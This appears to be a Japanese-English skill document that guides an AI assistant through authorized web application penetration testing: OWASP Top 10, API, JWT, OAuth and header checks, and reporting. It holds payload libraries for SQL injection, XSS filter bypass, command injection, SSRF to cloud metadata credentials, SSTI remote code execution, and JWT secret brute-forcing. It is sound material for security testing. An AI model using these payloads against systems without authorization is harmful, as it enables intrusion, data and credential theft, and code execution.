Web Application Security Testing

Web アプリケーションセキュリティテスト

目的

OWASP Top 10、インジェクションテスト、API セキュリティ、認証分析、クライアントサイドセキュリティを網羅する Web アプリケーションのセキュリティ評価を Claude が支援できるようにします。Claude はアプリケーションの動作を分析し、テスト用ペイロードを生成し、ソースコードをレビューして、構造化された脆弱性レポートを作成します。

許可が必要です：すべてのテストは、許可された対象に対してのみ実施してください。テストの前に、対象範囲と書面による許可を確認してください。

---

有効化のトリガー

次の内容についてユーザーから質問があった場合に、このスキルが有効になります。

• OWASP Top 10 のテストまたは評価方法
• SQL インジェクション、XSS、SSRF、SSTI、コマンドインジェクションのテスト
• API セキュリティテスト（REST、GraphQL、SOAP）
• 認証バイパス、セッション管理の不備
• 許可されたテストにおける Web アプリケーションファイアウォール（WAF）のバイパス
• CORS、CSP、セキュリティヘッダーの分析
• OAuth/OIDC セキュリティレビュー
• JWT の分析または操作
• Burp Suite または OWASP ZAP の使用方法
• Web 脆弱性レポートの作成

---

前提条件

pip install requests beautifulsoup4 urllib3 lxml

推奨ツール：

• Burp Suite Community/Pro — Web プロキシおよびスキャナー
• OWASP ZAP — オープンソースの Web スキャナー
• sqlmap — SQL インジェクションの自動テスト（許可された使用のみ）
• Nikto — Web サーバースキャナー
• ffuf / feroxbuster — Web ファザー
• jwt_tool — JWT の分析と操作

---

主な機能

1. OWASP Top 10 の評価

OWASP Top 10 の脆弱性評価をユーザーが求めた場合：

#	脆弱性	Claude の評価方法
A01	アクセス制御の不備	IDOR、パストラバーサル、強制ブラウジング、権限昇格をテストします
A02	暗号化の不備	TLS を監査し、機密データの露出や脆弱なアルゴリズムを確認します
A03	インジェクション	すべての入力に対して SQLi、NoSQLi、OS コマンド、LDAP、SSTI をテストします
A04	安全でない設計	セキュリティ制御の欠如がないか、アーキテクチャをレビューします
A05	セキュリティ設定の不備	デフォルト設定、エラー情報の漏えい、ディレクトリ一覧表示、デバッグモードを確認します
A06	脆弱なコンポーネント	サードパーティライブラリとフレームワークのバージョンを監査します
A07	認証と識別の不備	セッション管理、総当たり攻撃、多要素認証、認証情報の保存方法をテストします
A08	ソフトウェアとデータの整合性の不備	更新メカニズム、デシリアライゼーション、CI/CD のセキュリティを確認します
A09	ログ記録と監視の不備	ログ記録の網羅性とアラートを検証します
A10	SSRF	URL パラメーター、Webhook、インポート機能をテストします

2. インジェクションテスト

インジェクションの脆弱性テストをユーザーが求めた場合：

入力の特定 — すべてのインジェクションポイントをマッピングします：

GET/POST parameters
URL path segments (/users/INJECT/profile)
HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie)
JSON body fields {"name": "INJECT"}
XML body fields <name>INJECT</name>
GraphQL variables {query: "{ user(name: \"INJECT\") }"}
File upload names and metadata

SQL インジェクションのテスト方法：

Step 1: Detection — Test for error-based confirmation
  ' → SQL error = likely vulnerable
  ' OR '1'='1 → true condition
  ' OR '1'='2 → false condition
  ' AND SLEEP(5)-- - → time delay = blind SQLi

Step 2: Fingerprint the database
  ' AND 1=CONVERT(int,@@version)-- - → MSSQL version
  ' AND 1=1 UNION SELECT @@version-- - → MySQL
  ' AND 1=(SELECT 1 FROM dual)-- - → Oracle

Step 3: Extraction (authorized PoC only)
  ' UNION SELECT null,username,password,null FROM users-- -

SQLi ペイロードライブラリ：

-- Basic detection
'
''
`
')
'))
' OR '1'='1'--
' OR 1=1--
" OR "1"="1
' OR 'x'='x

-- MySQL time-based blind
' AND SLEEP(5)-- -
' OR SLEEP(5)=0-- -

-- MSSQL time-based blind
'; WAITFOR DELAY '0:0:5'-- -

-- PostgreSQL time-based blind
'; SELECT pg_sleep(5)-- -

-- Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- UNION enumeration
' ORDER BY 1-- -  (increment until error to find column count)
' UNION SELECT null-- -
' UNION SELECT null,null-- -
' UNION SELECT null,null,null-- -

XSS のテスト方法：

Step 1: Find reflection points
  Input: test123  →  Search in source for "test123"
  What HTML context is it in?
    • HTML content: <p>test123</p>
    • Attribute: <input value="test123">
    • JavaScript: var x = "test123";
    • URL: href="test123"

Step 2: Test basic payload for context
  HTML content:    <script>alert(1)</script>
  Attribute:       " onmouseover="alert(1)
  JavaScript:      ";alert(1);//
  URL:             javascript:alert(1)

Step 3: Bypass filters
  Case variation:  <ScRiPt>alert(1)</ScRiPt>
  No parentheses:  <img src=x onerror=alert`1`>
  No script tag:   <img src=x onerror=alert(document.domain)>
  SVG:             <svg onload=alert(1)>
  Template:        {{constructor.constructor('alert(1)')()}}

コマンドインジェクションのテスト：

# Linux injection separators
; id
| id
& id
&& id
`id`
$(id)
%0aid

# Windows injection separators
& whoami
| whoami
; dir
%26 dir

# Blind detection via time delay
; sleep 5
| timeout 5
& ping -n 5 127.0.0.1

# Blind detection via DNS callback (use Burp Collaborator or interactsh)
; nslookup YOUR-CALLBACK-DOMAIN.com

SSRF のテスト方法：

Step 1: Find URL input points
  - Import functionality (import from URL)
  - Webhooks (send notification to URL)
  - Document converters (URL to PDF)
  - Image loading from URL
  - API calls with URL parameters

Step 2: Test basic SSRF to internal resources
  http://127.0.0.1/
  http://localhost/
  http://192.168.1.1/           # Default gateway
  http://169.254.169.254/       # AWS metadata
  http://metadata.google.internal/  # GCP metadata
  http://[::1]/                 # IPv6 localhost

Step 3: Test cloud metadata services (AWS example)
  http://169.254.169.254/latest/meta-data/
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

Step 4: SSRF filter bypass techniques
  http://[email protected]     # URL confusion
  http://0177.0.0.1/            # Octal encoding
  http://2130706433/            # Decimal encoding
  http://[::1]/                 # IPv6
  http://localhost.evil.com/    # DNS rebinding

SSTI のテスト：

# Universal detection probes
{{7*7}}           → 49 (Jinja2, Twig, Freemarker)
${7*7}            → 49 (FreeMarker, Velocity, Mako)
<%= 7*7 %>        → 49 (ERB/Ruby)
#{7*7}            → 49 (Pug/Jade)

# Jinja2 (Python Flask) — confirm RCE path
{{config}}
{{''.__class__.__mro__[1].__subclasses__()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

# Twig (PHP Symfony)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

3. API セキュリティテスト

API セキュリティテストをユーザーが求めた場合：

API テストチェックリスト：

Authentication:
[ ] Endpoints accessible without token? (missing auth)
[ ] JWT validation: alg:none attack, weak secret, expired token accepted?
[ ] API keys in URL parameters (logged in proxy logs)
[ ] Basic auth over HTTP (not HTTPS)

Authorization:
[ ] BOLA — Change object ID to access other users' data
  GET /api/users/123/orders → try /api/users/124/orders
[ ] Mass assignment — POST with extra privileged fields
  {"username":"user","role":"admin","isAdmin":true}
[ ] Function-level access — access admin endpoints as regular user
  GET /api/admin/users (as non-admin)

Input Validation:
[ ] SQL injection in API parameters
[ ] JSON injection in body
[ ] Rate limiting — rapid requests cause DoS or bypass?
[ ] Request body schema — what happens with extra/unexpected fields?

Data Exposure:
[ ] Response contains sensitive fields not needed by client?
[ ] User A can see User B's PII?
[ ] Error messages reveal internal structure?
[ ] Debug endpoints exposed? /api/debug, /api/swagger, /api/docs

GraphQL 固有のテスト：

# Introspection — should be disabled in production
{ __schema { types { name fields { name } } } }

# Batch query abuse
[{"query":"{ user(id:1) { name } }"},
 {"query":"{ user(id:2) { name } }"},
 ...repeated 1000 times...]

# Circular query DoS
{ user { friends { friends { friends { name } } } } }

JWT 分析：

# Decode JWT without verification
jwt_tool JWT_TOKEN_HERE -d

# Test alg:none attack
jwt_tool JWT_TOKEN_HERE -X a

# Test algorithm confusion (RS256 to HS256)
jwt_tool JWT_TOKEN_HERE -X k -pk public.pem

# Brute force weak secret
jwt_tool JWT_TOKEN_HERE -C -d /usr/share/wordlists/rockyou.txt

4. 認証とセッションのテスト

認証テストをユーザーが求めた場合：

セッショントークンの分析：

Entropy check:
[ ] Token length sufficient? (≥128 bits recommended)
[ ] Token appears random? (not predictable, sequential, or time-based)
[ ] Test: collect 10+ tokens, check for patterns

Session management:
[ ] Session invalidated on logout? (test by reusing old token)
[ ] Session invalidated on password change?
[ ] Concurrent session limits? (same user, multiple locations)
[ ] Session fixation: set your own session ID before auth, does it persist?
[ ] Secure and HttpOnly flags on session cookie?
[ ] SameSite attribute set? (CSRF protection)

Password security:
[ ] Minimum complexity enforced?
[ ] Account lockout after N failed attempts?
[ ] Password exposed in HTTP response or logs?
[ ] Forgot password link single-use and time-limited?
[ ] Password reset token in URL? (appears in logs/referer)

OAuth 2.0 のテスト：

[ ] State parameter present and validated? (CSRF in OAuth flow)
[ ] Redirect URI strictly validated? (open redirect)
[ ] Authorization code reusable? (should be single-use)
[ ] PKCE implemented for public clients?
[ ] Client secret exposed in JavaScript source?
[ ] Scope validation — can client request broader scopes than expected?

5. セキュリティヘッダーの評価

セキュリティヘッダーのレビューをユーザーが求めた場合：

# Check all security headers for a target
import requests
headers_to_check = {
    "Strict-Transport-Security": "Required; max-age>=31536000",
    "Content-Security-Policy": "Required; restrict sources",
    "X-Content-Type-Options": "nosniff",
    "X-Frame-Options": "DENY or SAMEORIGIN",
    "Referrer-Policy": "strict-origin-when-cross-origin",
    "Permissions-Policy": "Restrict sensitive features",
    "Cache-Control": "no-store for sensitive endpoints",
}

CORS の設定不備テスト：

# Test 1: Arbitrary origin reflected
requests.get(url, headers={"Origin": "https://evil.com"})
# Vulnerable if response contains: Access-Control-Allow-Origin: https://evil.com

# Test 2: Null origin
requests.get(url, headers={"Origin": "null"})
# Vulnerable if response contains: Access-Control-Allow-Origin: null

# Test 3: Subdomain bypass
requests.get(url, headers={"Origin": "https://evil.target.com"})
# Vulnerable if attacker can register evil.target.com or use XSS

---

脆弱性レポートのテンプレート

## Web Security Finding: [Title]

**ID:** WEB-[Number]
**Severity:** [Critical / High / Medium / Low / Info]
**CVSS v3.1:** [Score] | [Vector string]
**CWE:** [CWE-ID — CWE Name]
**OWASP:** [A0X — Category]

### Affected Endpoint
**URL:** `https://target.com/api/endpoint`
**Method:** POST
**Parameter:** `id`

### Description
[Clear description of the vulnerability and why it's a risk]

### Reproduction Steps
1. Navigate to `https://target.com/api/endpoint`
2. Send the following request:

POST /api/endpoint HTTP/1.1 Host: target.com Content-Type: application/json

{"id": "1' OR '1'='1"}

3. Observe the response contains [evidence of vulnerability]

### Impact
[Business and technical impact — data exposure, account takeover, RCE, etc.]

### Evidence
[Screenshot description, response snippet, or sanitized PoC output]

### Remediation
[Specific fix with code example if applicable]

---

スクリプトリファレンス

owasp_scanner.py

python scripts/owasp_scanner.py --url https://target.com --output report.json
python scripts/owasp_scanner.py --url https://target.com --tests a01,a03,a07

api_security_tester.py

python scripts/api_security_tester.py --spec openapi.yaml --base-url https://api.target.com --output results.json

---

スキル連携

条件	関連スキル
偵察中に Web アプリが見つかった	← Skill 01（偵察と OSINT）
脆弱なコンポーネントが特定された	→ Skill 02（脆弱性スキャナー）
確認済みの脆弱性について PoC を作成する	→ Skill 03（エクスプロイト開発）
発見事項について CSOC アラートを生成する	→ Skill 11（CSOC 自動化）

---

参考資料

• OWASP Top 10 2021
• OWASP Testing Guide v4.2
• OWASP API Security Top 10
• PortSwigger Web Security Academy
• PayloadsAllTheThings
• HackTricks Web Pentesting

---

v3.0 の強化点（2026 年版）

現在の Web および API の攻撃対象領域：

• OWASP API Security Top 10 (2023) — Web Top 10 と並ぶ重要項目として、BOLA/IDOR（API1）、認証の不備（API2）、オブジェクトプロパティレベルの認可の不備／マスアサインメント（API3）、リソース消費の制限不足（API4）、SSRF（API7）をテストします。
• SSRF → クラウドメタデータ — 常にクラウド IMDS へのアクセス（169.254.169.254、GCP の metadata.google.internal、Azure IMDS）を試み、IMDSv2／ホップリミットによる防御を確認します（→ Skill 10）。
• HTTP リクエストスマグリング — フロントエンド／バックエンドの組み合わせに対して、CL.TE／TE.CL／CL.CL のデシンクと HTTP/2 ダウングレードスマグリングをテストします。
• JWT と OAuth/OIDC — alg=none、アルゴリズム混同（RS256→HS256）、kid インジェクション、弱いシークレットを確認します。OAuth フローでは、redirect_uri の悪用、PKCE のダウングレード、同意フィッシング、デバイスコードフィッシングを確認します。
• クライアントサイドとテンプレート — プロトタイプ汚染、DOM クローべリング、各エンジンに応じた SSTI、ミューテーション／サニタイザーのバイパスを利用する最新の XSS を確認します。
• GraphQL — イントロスペクションの悪用、バッチ処理／DoS、ネストしたクエリの深さ、フィールドレベルの認可の不備を確認します。

精度に関するルール： 各検出結果には、再現可能なリクエスト／レスポンス、影響を受けるパラメーター、適切なシンクでのパラメーター化／エンコードによる修正を含めます。